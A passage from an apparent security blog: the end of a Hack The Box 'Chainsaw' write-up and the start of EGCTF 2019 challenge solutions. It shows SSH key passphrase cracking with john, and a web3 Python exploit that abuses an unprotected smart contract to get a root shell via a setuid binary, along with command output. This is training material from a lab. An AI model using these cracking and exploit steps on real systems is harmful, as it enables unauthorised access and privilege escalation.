drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
-rw-r--r-- 1 administrator administrator 4629 Nov 22 19:50 QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
administrator@chainsaw:/home/administrator$

The email had his encrypted ssh key as an attachment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
administrator@chainsaw:/home/administrator$ cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department <[email protected]>
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93
To: [email protected] <[email protected]>
X-Attached: bobby.key.enc
Message-Id: <zctvLwVo5mWy8NaBt3CLKmxVckb-cX7OCfxUYfHsU2af1NH4krcpgGz7h-PorsytjrT3sA9Ju8WNuWaRAnbE0CY0nIk2WmuwOvOnmRhHPoU=@protonmail.ch>
Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500
X-Original-To: [email protected]
Return-Path: <[email protected]>
Delivered-To: [email protected]
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451
-----------------------ffced83f318ffbd54e80374f045d2451
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp
cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM
aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl
IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs
IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs
eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo
ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl
YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg
YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48
YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g
RGVwYXJ0bWVudDxicj48L2Rpdj4=
-----------------------ffced83f318ffbd54e80374f045d2451--
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"

LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJM
RUVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0
dG5ySWo2bWRCYjZybk42Q3NQMHZiejlOelJCeWcxbzZjU0dkckwyRW1KTi9lU3hENEFXTGN6Cm4z
MkZQWTBWamxJVnJoNHJqaFJlMndQTm9nQWNpQ0htWkdFQjB0Z3YyL2V5eEU2M1ZjUnpyeEpDWWwr
aHZTWjYKZnZzU1g4QTRRcjdyYmY5Zm56NFBJbUlndXJGM1ZoUW1kbEVtekRSVDRtL3BxZjNUbUdB
azkrd3JpcW5rT0RGUQpJKzJJMWNQYjhKUmhMU3ozcHlCM1gvdUdPVG5ZcDRhRXErQVFaMnZFSnoz
RmZYOVNYOWs3ZGQ2S2FadFNBenFpCnc5ODFFUzg1RGs5TlVvOHVMeG5aQXczc0Y3UHo0RXVKMEhw
bzFlWmdZdEt6dkRLcnJ3OHVvNFJDYWR4N0tIUlQKaW5LWGR1SHpuR0ExUVJPelpXN3hFM0hFTDN2
eFI5Z01WOGdKUkhEWkRNSTl4bHc5OVFWd2N4UGNGYTMxQXpWMgp5cDNxN3lsOTU0U0NNT3RpNFJD
M1o0eVVUakRrSGRIUW9FY0dpZUZPV1UraTFvaWo0Y3J4MUxiTzJMdDhuSEs2CkcxQ2NxN2lPb240
UnNUUmxWcnY4bGlJR3J4bmhPWTI5NWU5ZHJsN0JYUHBKcmJ3c284eHhIbFQzMzMzWVU5ZGoKaFFM
TnA1KzJINCtpNm1tVTN0Mm9nVG9QNHNrVmNvcURsQ0MrajZoRE9sNGJwRDl0NlRJSnVyV3htcEdn
TnhlcwpxOE5zQWVudGJzRCt4bDRXNnE1bXVMSlFtai94UXJySGFjRVpER0k4a1d2WkUxaUZtVmtE
L3hCUm53b0daNWh0CkR5aWxMUHBsOVIrRGg3YnkzbFBtOGtmOHRRbkhzcXBSSGNleUJGRnBucTBB
VWRFS2ttMUxSTUxBUFlJTGJsS0cKandyQ3FSdkJLUk1JbDZ0SmlEODdOTTZKQm9ReWRPRWNwbis2
RFUrMkFjdGVqYnVyMGFNNzRJeWVlbnJHS1NTWgpJWk1zZDJrVFNHVXh5OW8veFBLRGtVdy9TRlV5
U21td2lxaUZMNlBhRGd4V1F3SHh0eHZtSE1oTDZjaXROZEl3ClRjT1RTSmN6bVIycEp4a29oTHJI
N1lyUzJhbEtzTTBGcEZ3bWR6MS9YRFNGMkQ3aWJmL1cxbUF4TDVVbUVxTzAKaFVJdVcxZFJGd0hq
TnZhb1NrK2ZyQXA2aWM2SVBZU21kbzhHWVl5OHBYdmNxd2ZScHhZbEFDWnU0RmlpNmhZaQo0V3Bo
VDNaRllEcnc3U3RnSzA0a2JEN1FrUGVOcTlFdjFJbjJuVmR6RkhQSWg2eitmbXBiZ2ZXZ2VsTEhj
MmV0ClNKWTQrNUNFYmtBY1lFVW5QV1k5U1BPSjdxZVU3K2IvZXF6aEtia3BuYmxtaUsxZjNyZU9N
MllVS3k4YWFsZWgKbkpZbWttcjN0M3FHUnpoQUVUY2tjOEhMRTExZEdFK2w0YmE2V0JOdTE1R29F
V0Fzenp0TXVJVjFlbW50OTdvTQpJbW5mb250T1lkd0I2LzJvQ3V5SlRpZjhWdy9XdFdxWk5icGV5
OTcwNGE5bWFwLytiRHFlUVE0MStCOEFDRGJLCldvdnNneVdpL1VwaU1UNm02clgrRlA1RDVFOHpy
WXRubm1xSW83dnhIcXRCV1V4amFoQ2RuQnJrWUZ6bDZLV1IKZ0Z6eDNlVGF0bFpXeXI0a3N2Rm10
b2JZa1pWQVFQQUJXeitnSHB1S2xycWhDOUFOenIvSm4rNVpmRzAybW9GLwplZEwxYnA5SFBSSTQ3
RHl2THd6VDEvNUw5Wno2WSsxTXplbmRUaTNLcnpRL1ljZnI1WUFSdll5TUxiTGpNRXRQClV2SmlZ
NDB1Mm5tVmI2UXFwaXkyenIvYU1saHB1cFpQay94dDhvS2hLQytsOW1nT1RzQVhZakNiVG1MWHpW
clgKMTVVMjEwQmR4RUZVRGNpeE5pd1Rwb0JTNk1meENPWndOLzFadjBtRThFQ0krNDRMY3FWdDN3
PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0=
-----------------------d296272d7cb599bff2a1ddf6d6374d93--
administrator@chainsaw:/home/administrator$

I copied it to my box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:~/Desktop/HTB/boxes/chainsaw# nano bobby.key.enc.b64
root@kali:~/Desktop/HTB/boxes/chainsaw# base64 -d bobby.key.enc.b64 > bobby.key.enc
root@kali:~/Desktop/HTB/boxes/chainsaw# cat bobby.key.enc
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,53D881F299BA8503

SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk
7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz
n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6
fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ
I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi
w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT
inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2
yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6
G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj
hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes
q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht
DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG
jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ
IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw
TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0
hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi
4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et
SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh
nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM
ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK
WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR
gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/
edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP
UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX
15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w==
root@kali:~/Desktop/HTB/boxes/chainsaw#

I used ssh2john.py to get the hash of the key in john format then I used john with rockyou.txt to crack it:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash
root@kali:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain (./bobby.key.enc)
1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7¡Vamos!
Session completed
root@kali:~/Desktop/HTB/boxes/chainsaw#

Password: jackychain, let’s ssh into the box as bobby:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc
root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc [email protected]
Enter passphrase for key 'bobby.key.enc':
bobby@chainsaw:~$ whoami
bobby
bobby@chainsaw:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
bobby@chainsaw:~$ ls -la
total 52
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null
-rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout
-rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc
drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache
drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg
drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java
drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local
-rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects
drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources
drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh
-r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt
-rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts
bobby@chainsaw:~$


We owned user.

ChainsawClub: Analysis

In bobby‘s home directory there was a directory called projects which had a project called ChainsawClub, Inside that directory there was another smart contract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bobby@chainsaw:~$ cd projects/
bobby@chainsaw:~/projects$ ls -al
total 12
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 ..
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub
bobby@chainsaw:~/projects$ cd ChainsawClub/
bobby@chainsaw:~/projects/ChainsawClub$ ls -al
total 156
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 .
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 ..
-rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt
-rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub
-rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json
-rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol
bobby@chainsaw:~/projects/ChainsawClub$

ChainsawClub.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity ^0.4.22;

contract ChainsawClub {

string username = 'nobody';
string password = '7b455ca1ffcb9f3828cfdde4a396139e';
bool approve = false;
uint totalSupply = 1000;
uint userBalance = 0;

function getUsername() public view returns (string) {
return username;
}
function setUsername(string _value) public {
username = _value;
}
function getPassword() public view returns (string) {
return password;
}
function setPassword(string _value) public {
password = _value;
}
function getApprove() public view returns (bool) {
return approve;
}
function setApprove(bool _value) public {
approve = _value;
}
function getSupply() public view returns (uint) {
return totalSupply;
}
function getBalance() public view returns (uint) {
return userBalance;
}
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}
function reset() public {
username = '';
password = '';
userBalance = 0;
totalSupply = 1000;
approve = false;
}
}

There was also a setuid elf executable called ChainsawClub:

1
2
3
bobby@chainsaw:~/projects/ChainsawClub$ file ChainsawClub
ChainsawClub: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08b87cf44d6a671b91bc55f6e1f53c7ee083a417, not stripped
bobby@chainsaw:~/projects/ChainsawClub$

When executed it prints a note saying “Please sign up first and then log in!”, then it asks for credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username:
Password:
[*] Wrong credentials!
^C
bobby@chainsaw:~/projects/ChainsawClub$

Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract.
We’ll use:
setUsername() to set the username
setPassword() to set the password, it has to be md5 hashed as we saw:

1
string password = '7b455ca1ffcb9f3828cfdde4a396139e';

setApprove() to change approve from false to true
transfer() to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply and we can’t transfer more than that:

1
2
3
4
5
6
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}

Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.

ChainsawClub: Exploitation

I used netstat to list the open ports, 63991 was open and listening on localhost only so I assumed that it’s the port on which the contract is deployed:

1
2
3
4
5
6
7
8
9
10
11
12
bobby@chainsaw:~/projects/ChainsawClub$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
bobby@chainsaw:~/projects/ChainsawClub$

I got the ABI of the contract like I did before:

And we have the address of the contract in address.txt
I wrote the exploit and forwarded the port to my box:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc [email protected]                                                                                                          
Enter passphrase for key 'bobby.key.enc':
bobby@chainsaw:~$

The exploit is similar to the first one.
ChainsawClubExploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv
from hashlib import md5

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, username, password, passhash):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to localhost:63991")
w3 = Web3(Web3.HTTPProvider('http://localhost:63991'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[ { "constant": true, "inputs": [], "name": "getBalance", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setPassword", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getUsername", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getApprove", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "bool" } ], "name": "setApprove", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getPassword", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "reset", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setUsername", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Calling setUsername() with: {}".format(username))
contract.functions.setUsername(username).transact()
print(GREEN + "[*] Done. getUsername(): " + contract.functions.getUsername().call())
print(YELLOW + "[+] Calling setPassword() with: {} ({})".format(passhash, password))
contract.functions.setPassword(passhash).transact()
print(GREEN + "[*] Done. getPassword(): " + contract.functions.getPassword().call())
print(YELLOW + "[+] Calling setApprove() with: True")
contract.functions.setApprove(True).transact()
print(GREEN + "[*] Done. getApprove(): " + str(contract.functions.getApprove().call()))
print(YELLOW + "[+] Calling transfer() with: 1000")
contract.functions.transfer(1000).transact()
print(GREEN + "[*] Done. getBalance(): " + str(contract.functions.getBalance().call()))
print(GREEN + "[+] Exploit finished. Now you can login with the provided credentials: {}:{}, Exiting...".format(username,password))
exit()

if len(argv) != 4:
print(YELLOW + "[!] Usage: {} [contract address] [username] [password]".format(argv[0]))
exit()
else:
address = argv[1]
username = argv[2]
password = argv[3]
passhash = md5(password.encode('utf-8')).hexdigest()
exploit(address, username, password, passhash)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Desktop/HTB/boxes/chainsaw# ./ChainsawClubExploit.py 0xE6384BBbBb7C30C4Af2287872179296d46d863bE rick pwn3d                                                                                            
[+] Starting
[+] Connecting to localhost:63991
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0xE6384BBbBb7C30C4Af2287872179296d46d863bE
[*] Done
[+] Calling setUsername() with: rick
[*] Done. getUsername(): rick
[+] Calling setPassword() with: b2f3d1e0efcb5d60e259a34ecbbdbe00 (pwn3d)
[*] Done. getPassword(): b2f3d1e0efcb5d60e259a34ecbbdbe00
[+] Calling setApprove() with: True
[*] Done. getApprove(): True
[+] Calling transfer() with: 1000
[*] Done. getBalance(): 1000
[+] Exploit finished. Now you can login with the provided credentials: rick:pwn3d, Exiting...
root@kali:~/Desktop/HTB/boxes/chainsaw#

After authenticating I got a root shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: rick
Password:

************************
* Welcome to the club! *
************************

Rule #1: Do not get excited too fast.

root@chainsaw:/home/bobby/projects/ChainsawClub#
root@chainsaw:/home/bobby/projects/ChainsawClub# whoami
root
root@chainsaw:/home/bobby/projects/ChainsawClub# id
uid=0(root) gid=0(root) groups=0(root)
root@chainsaw:/home/bobby/projects/ChainsawClub#

However the root flag wasn’t there:

Slack Space –> Root Flag

root.txt size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes (4096 - 52) which is called “slack space”. (Check this page, and this one).
Slack space can be used to hide data, which was the case here with the root flag. I used bmap:

1
bmap --mode slack root.txt --verbose


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Networked
Next Hack The Box write-up : Hack The Box - Heist

EGCTF 2019 - Qualification Round

17 November 2019 at 03:00

EGCTF 2019 - Qualification Round

Introduction

I participated in EG-CTF 2019 qualification round which was held in Friday November 15 2019 and lasted for 26 hours, These are my quick write-ups for some of the challenges.

Starter: Decode me :)

Challenge Description:

1
2
3
4
5
Here you are

The message is 7uvxEhXkGkmPhYQtDE3Eg99ZKfr8kRwFe15nNkg9eyFLKXqe Good luck!!

Flag Format EGCTF{50m3_l337_73x7}

Solution:

This was a very easy one, we’re given an encoded string and we need to decode it to retrieve the flag, I tried some of the known encoding methods and found that it was base-58 encoded:

1
2
3
root@kali:~/Desktop/EGCTF-Quals/starter/decode-me# base58 -d ./message.txt 
EGCTF{574r73r_ch4ll3n635_4r3_6r337}
root@kali:~/Desktop/EGCTF-Quals/starter/decode-me#

Starter: JS CryptoMiner

Challenge Description:

1
2
3
We found this obfuscated JS code and we think it may be a cryptominer. Please confirm and extract the hidden flag.

var a=['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39','\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0xc7));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mPLuJI']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());b['QMZCsz']=function(r){var s=atob(r);var t=[];for(var u=0x0,v=s['length'];u<v;u++){t+='%'+('00'+s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};b['MdcAcN']={};b['mPLuJI']=!![];}var w=b['MdcAcN'][c];if(w===undefined){e=b['QMZCsz'](e);b['MdcAcN'][c]=e;}else{e=w;}return e;};variable=function(){flag=String[b('0x0')](0x45,0x47,0x43,0x54,0x46,0x7b,0x4a,0x61,0x76,0x61,0x53,0x63,0x72,0x69,0x70,0x74)+atob(b('0x1'));};another=!![];

Solution:

I used beautifier.io to beautify the javascript code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
var a = ['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39', '\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];
(function(c, d) {
var e = function(f) {
while (--f) {
c['push'](c['shift']());
}
};
e(++d);
}(a, 0xc7));
var b = function(c, d) {
c = c - 0x0;
var e = a[c];
if (b['mPLuJI'] === undefined) {
(function() {
var f = function() {
var g;
try {
g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
} catch (h) {
g = window;
}
return g;
};
var i = f();
var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
i['atob'] || (i['atob'] = function(k) {
var l = String(k)['replace'](/=+$/, '');
for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? q += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) {
o = j['indexOf'](o);
}
return q;
});
}());
b['QMZCsz'] = function(r) {
var s = atob(r);
var t = [];
for (var u = 0x0, v = s['length']; u < v; u++) {
t += '%' + ('00' + s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(t);
};
b['MdcAcN'] = {};
b['mPLuJI'] = !![];
}
var w = b['MdcAcN'][c];
